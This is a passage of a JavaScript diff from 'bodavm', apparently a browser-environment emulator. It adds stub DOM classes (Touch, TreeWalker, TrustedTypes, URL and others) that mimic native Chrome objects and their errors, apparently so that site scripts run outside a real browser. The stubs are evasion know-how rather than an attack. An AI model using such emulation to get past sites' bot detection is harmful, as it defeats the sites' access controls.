"TextTrack", "removeCue", arguments); + } +}, 'prototype'); +// TextTrackCue对象 + +bodavm.memory.globalobj['TextTrackCue'] = function TextTrackCue() { + console.log_copy('TextTrackCue 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TextTrackCue)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextTrackCue'], "TextTrackCue"); +bodavm.memory.globalobj['TextTrackCue'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['TextTrackCue'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('TextTrackCue', "track", { + configurable: true, + enumerable: true, + get: function track() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "track_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrackCue', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "id_get", arguments); + }, + set: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "id_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrackCue', "startTime", { + configurable: true, + enumerable: true, + get: function startTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "startTime_get", arguments); + }, + set: function startTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "startTime_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrackCue', "endTime", { + configurable: true, + enumerable: true, + get: function endTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "endTime_get", arguments); + }, + set: function endTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "endTime_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrackCue', "pauseOnExit", { + configurable: true, + enumerable: true, + get: function pauseOnExit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "pauseOnExit_get", arguments); + }, + set: function pauseOnExit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "pauseOnExit_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrackCue', "onenter", { + configurable: true, + enumerable: true, + get: function onenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "onenter_get", arguments); + }, + set: function onenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "onenter_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrackCue', "onexit", { + configurable: true, + enumerable: true, + get: function onexit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "onexit_get", arguments); + }, + set: function onexit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "onexit_set", arguments); + } +}, 'prototype'); +// TextTrackCueList对象 + +bodavm.memory.globalobj['TextTrackCueList'] = function TextTrackCueList() { + console.log_copy('TextTrackCueList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TextTrackCueList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextTrackCueList'], "TextTrackCueList"); +bodavm.toolsFunc.defineProperty('TextTrackCueList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCueList'].prototype, "TextTrackCueList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrackCueList', "getCueById", { + configurable: true, + enumerable: true, + writable: true, + value: function getCueById() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCueList'].prototype, "TextTrackCueList", "getCueById", arguments); + } +}, 'prototype'); +// TimeRanges对象 + +bodavm.memory.globalobj['TimeRanges'] = function TimeRanges() { + console.log_copy('TimeRanges 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TimeRanges)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TimeRanges'], "TimeRanges"); +bodavm.toolsFunc.defineProperty('TimeRanges', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TimeRanges'].prototype, "TimeRanges", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TimeRanges', "end", { + configurable: true, + enumerable: true, + writable: true, + value: function end() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TimeRanges'].prototype, "TimeRanges", "end", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TimeRanges', "start", { + configurable: true, + enumerable: true, + writable: true, + value: function start() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TimeRanges'].prototype, "TimeRanges", "start", arguments); + } +}, 'prototype'); +// toolbar对象 + +bodavm.memory.globalobj['toolbar'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['toolbar'].__proto__ = bodavm.memory.globalobj['BarProp'].prototype; +// Touch对象 + +bodavm.memory.globalobj['Touch'] = function Touch() { + console.log_copy('Touch 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Touch)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Touch': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Touch'], "Touch"); +bodavm.toolsFunc.defineProperty('Touch', "identifier", { + configurable: true, + enumerable: true, + get: function identifier() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "identifier_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Touch', "target", { + configurable: true, + enumerable: true, + get: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "target_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Touch', "screenX", { + configurable: true, + enumerable: true, + get: function screenX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "screenX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Touch', "screenY", { + configurable: true, + enumerable: true, + get: function screenY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "screenY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Touch', "clientX", { + configurable: true, + enumerable: true, + get: function clientX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "clientX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Touch', "clientY", { + configurable: true, + enumerable: true, + get: function clientY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "clientY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Touch', "pageX", { + configurable: true, + enumerable: true, + get: function pageX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "pageX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Touch', "pageY", { + configurable: true, + enumerable: true, + get: function pageY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "pageY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Touch', "radiusX", { + configurable: true, + enumerable: true, + get: function radiusX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "radiusX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Touch', "radiusY", { + configurable: true, + enumerable: true, + get: function radiusY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "radiusY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Touch', "rotationAngle", { + configurable: true, + enumerable: true, + get: function rotationAngle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "rotationAngle_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Touch', "force", { + configurable: true, + enumerable: true, + get: function force() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "force_get", arguments); + }, + set: undefined +}, 'prototype'); +// TouchEvent对象 + +bodavm.memory.globalobj['TouchEvent'] = function TouchEvent() { + console.log_copy('TouchEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TouchEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'TouchEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TouchEvent'], "TouchEvent"); +bodavm.memory.globalobj['TouchEvent'].prototype.__proto__ = bodavm.memory.globalobj['UIEvent'].prototype; +bodavm.memory.globalobj['TouchEvent'].__proto__ = bodavm.memory.globalobj['UIEvent']; +bodavm.toolsFunc.defineProperty('TouchEvent', "touches", { + configurable: true, + enumerable: true, + get: function touches() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchEvent'].prototype, "TouchEvent", "touches_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TouchEvent', "targetTouches", { + configurable: true, + enumerable: true, + get: function targetTouches() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchEvent'].prototype, "TouchEvent", "targetTouches_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TouchEvent', "changedTouches", { + configurable: true, + enumerable: true, + get: function changedTouches() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchEvent'].prototype, "TouchEvent", "changedTouches_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TouchEvent', "altKey", { + configurable: true, + enumerable: true, + get: function altKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchEvent'].prototype, "TouchEvent", "altKey_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TouchEvent', "metaKey", { + configurable: true, + enumerable: true, + get: function metaKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchEvent'].prototype, "TouchEvent", "metaKey_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TouchEvent', "ctrlKey", { + configurable: true, + enumerable: true, + get: function ctrlKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchEvent'].prototype, "TouchEvent", "ctrlKey_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TouchEvent', "shiftKey", { + configurable: true, + enumerable: true, + get: function shiftKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchEvent'].prototype, "TouchEvent", "shiftKey_get", arguments); + }, + set: undefined +}, 'prototype'); +// TouchList对象 + +bodavm.memory.globalobj['TouchList'] = function TouchList() { + console.log_copy('TouchList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TouchList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TouchList'], "TouchList"); +bodavm.toolsFunc.defineProperty('TouchList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchList'].prototype, "TouchList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TouchList', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchList'].prototype, "TouchList", "item", arguments); + } +}, 'prototype'); +// TrackEvent对象 + +bodavm.memory.globalobj['TrackEvent'] = function TrackEvent() { + console.log_copy('TrackEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TrackEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'TrackEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TrackEvent'], "TrackEvent"); +bodavm.memory.globalobj['TrackEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['TrackEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('TrackEvent', "track", { + configurable: true, + enumerable: true, + get: function track() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrackEvent'].prototype, "TrackEvent", "track_get", arguments); + }, + set: undefined +}, 'prototype'); +// TransformStream对象 + +bodavm.memory.globalobj['TransformStream'] = function TransformStream() { + console.log_copy('TransformStream 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.TransformStream(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TransformStream'], "TransformStream"); +bodavm.toolsFunc.defineProperty('TransformStream', "readable", { + configurable: true, + enumerable: true, + get: function readable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransformStream'].prototype, "TransformStream", "readable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TransformStream', "writable", { + configurable: true, + enumerable: true, + get: function writable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransformStream'].prototype, "TransformStream", "writable_get", arguments); + }, + set: undefined +}, 'prototype'); +// TransformStreamDefaultController对象 + +bodavm.memory.globalobj['TransformStreamDefaultController'] = function TransformStreamDefaultController() { + console.log_copy('TransformStreamDefaultController 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TransformStreamDefaultController)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TransformStreamDefaultController'], "TransformStreamDefaultController"); +bodavm.toolsFunc.defineProperty('TransformStreamDefaultController', "desiredSize", { + configurable: true, + enumerable: true, + get: function desiredSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransformStreamDefaultController'].prototype, "TransformStreamDefaultController", "desiredSize_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TransformStreamDefaultController', "enqueue", { + configurable: true, + enumerable: true, + writable: true, + value: function enqueue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransformStreamDefaultController'].prototype, "TransformStreamDefaultController", "enqueue", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TransformStreamDefaultController', "error", { + configurable: true, + enumerable: true, + writable: true, + value: function error() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransformStreamDefaultController'].prototype, "TransformStreamDefaultController", "error", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TransformStreamDefaultController', "terminate", { + configurable: true, + enumerable: true, + writable: true, + value: function terminate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransformStreamDefaultController'].prototype, "TransformStreamDefaultController", "terminate", arguments); + } +}, 'prototype'); +// TransitionEvent对象 + +bodavm.memory.globalobj['TransitionEvent'] = function TransitionEvent() { + console.log_copy('TransitionEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TransitionEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'TransitionEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TransitionEvent'], "TransitionEvent"); +bodavm.memory.globalobj['TransitionEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['TransitionEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('TransitionEvent', "propertyName", { + configurable: true, + enumerable: true, + get: function propertyName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransitionEvent'].prototype, "TransitionEvent", "propertyName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TransitionEvent', "elapsedTime", { + configurable: true, + enumerable: true, + get: function elapsedTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransitionEvent'].prototype, "TransitionEvent", "elapsedTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TransitionEvent', "pseudoElement", { + configurable: true, + enumerable: true, + get: function pseudoElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransitionEvent'].prototype, "TransitionEvent", "pseudoElement_get", arguments); + }, + set: undefined +}, 'prototype'); +// TreeWalker对象 + +bodavm.memory.globalobj['TreeWalker'] = function TreeWalker() { + console.log_copy('TreeWalker 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TreeWalker)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TreeWalker'], "TreeWalker"); +bodavm.toolsFunc.defineProperty('TreeWalker', "root", { + configurable: true, + enumerable: true, + get: function root() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "root_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TreeWalker', "whatToShow", { + configurable: true, + enumerable: true, + get: function whatToShow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "whatToShow_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TreeWalker', "filter", { + configurable: true, + enumerable: true, + get: function filter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "filter_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TreeWalker', "currentNode", { + configurable: true, + enumerable: true, + get: function currentNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "currentNode_get", arguments); + }, + set: function currentNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "currentNode_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TreeWalker', "firstChild", { + configurable: true, + enumerable: true, + writable: true, + value: function firstChild() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "firstChild", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TreeWalker', "lastChild", { + configurable: true, + enumerable: true, + writable: true, + value: function lastChild() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "lastChild", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TreeWalker', "nextNode", { + configurable: true, + enumerable: true, + writable: true, + value: function nextNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "nextNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TreeWalker', "nextSibling", { + configurable: true, + enumerable: true, + writable: true, + value: function nextSibling() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "nextSibling", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TreeWalker', "parentNode", { + configurable: true, + enumerable: true, + writable: true, + value: function parentNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "parentNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TreeWalker', "previousNode", { + configurable: true, + enumerable: true, + writable: true, + value: function previousNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "previousNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TreeWalker', "previousSibling", { + configurable: true, + enumerable: true, + writable: true, + value: function previousSibling() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "previousSibling", arguments); + } +}, 'prototype'); +// TrustedHTML对象 + +bodavm.memory.globalobj['TrustedHTML'] = function TrustedHTML() { + console.log_copy('TrustedHTML 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TrustedHTML)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TrustedHTML'], "TrustedHTML"); +bodavm.toolsFunc.defineProperty('TrustedHTML', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedHTML'].prototype, "TrustedHTML", "toJSON", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TrustedHTML', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedHTML'].prototype, "TrustedHTML", "toString", arguments); + } +}, 'prototype'); +// TrustedScript对象 + +bodavm.memory.globalobj['TrustedScript'] = function TrustedScript() { + console.log_copy('TrustedScript 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TrustedScript)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TrustedScript'], "TrustedScript"); +bodavm.toolsFunc.defineProperty('TrustedScript', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedScript'].prototype, "TrustedScript", "toJSON", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TrustedScript', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedScript'].prototype, "TrustedScript", "toString", arguments); + } +}, 'prototype'); +// TrustedScriptURL对象 + +bodavm.memory.globalobj['TrustedScriptURL'] = function TrustedScriptURL() { + console.log_copy('TrustedScriptURL 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TrustedScriptURL)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TrustedScriptURL'], "TrustedScriptURL"); +bodavm.toolsFunc.defineProperty('TrustedScriptURL', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedScriptURL'].prototype, "TrustedScriptURL", "toJSON", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TrustedScriptURL', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedScriptURL'].prototype, "TrustedScriptURL", "toString", arguments); + } +}, 'prototype'); +// TrustedTypePolicy对象 + +bodavm.memory.globalobj['TrustedTypePolicy'] = function TrustedTypePolicy() { + console.log_copy('TrustedTypePolicy 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TrustedTypePolicy)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TrustedTypePolicy'], "TrustedTypePolicy"); +bodavm.toolsFunc.defineProperty('TrustedTypePolicy', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicy'].prototype, "TrustedTypePolicy", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicy', "createHTML", { + configurable: true, + enumerable: true, + writable: true, + value: function createHTML() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicy'].prototype, "TrustedTypePolicy", "createHTML", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicy', "createScript", { + configurable: true, + enumerable: true, + writable: true, + value: function createScript() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicy'].prototype, "TrustedTypePolicy", "createScript", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicy', "createScriptURL", { + configurable: true, + enumerable: true, + writable: true, + value: function createScriptURL() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicy'].prototype, "TrustedTypePolicy", "createScriptURL", arguments); + } +}, 'prototype'); +// trustedTypes对象 + +bodavm.memory.globalobj['trustedTypes'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['trustedTypes'].__proto__ = bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype; +// URL对象 + +bodavm.memory.globalobj['URL'] = function URL() { + console.log_copy('URL 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof URL)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'URL': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['URL'], "URL"); +bodavm.toolsFunc.defineProperty('URL', "createObjectURL", { + configurable: true, + enumerable: true, + writable: true, + value: function createObjectURL() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].undefined, "URL", "createObjectURL", arguments); + } +}); +bodavm.toolsFunc.defineProperty('URL', "revokeObjectURL", { + configurable: true, + enumerable: true, + writable: true, + value: function revokeObjectURL() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].undefined, "URL", "revokeObjectURL", arguments); + } +}); +bodavm.toolsFunc.defineProperty('URL', "origin", { + configurable: true, + enumerable: true, + get: function origin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "origin_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URL', "protocol", { + configurable: true, + enumerable: true, + get: function protocol() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "protocol_get", arguments); + }, + set: function protocol() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "protocol_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URL', "username", { + configurable: true, + enumerable: true, + get: function username() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "username_get", arguments); + }, + set: function username() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "username_set", arguments); + } +}, 'prototype'); 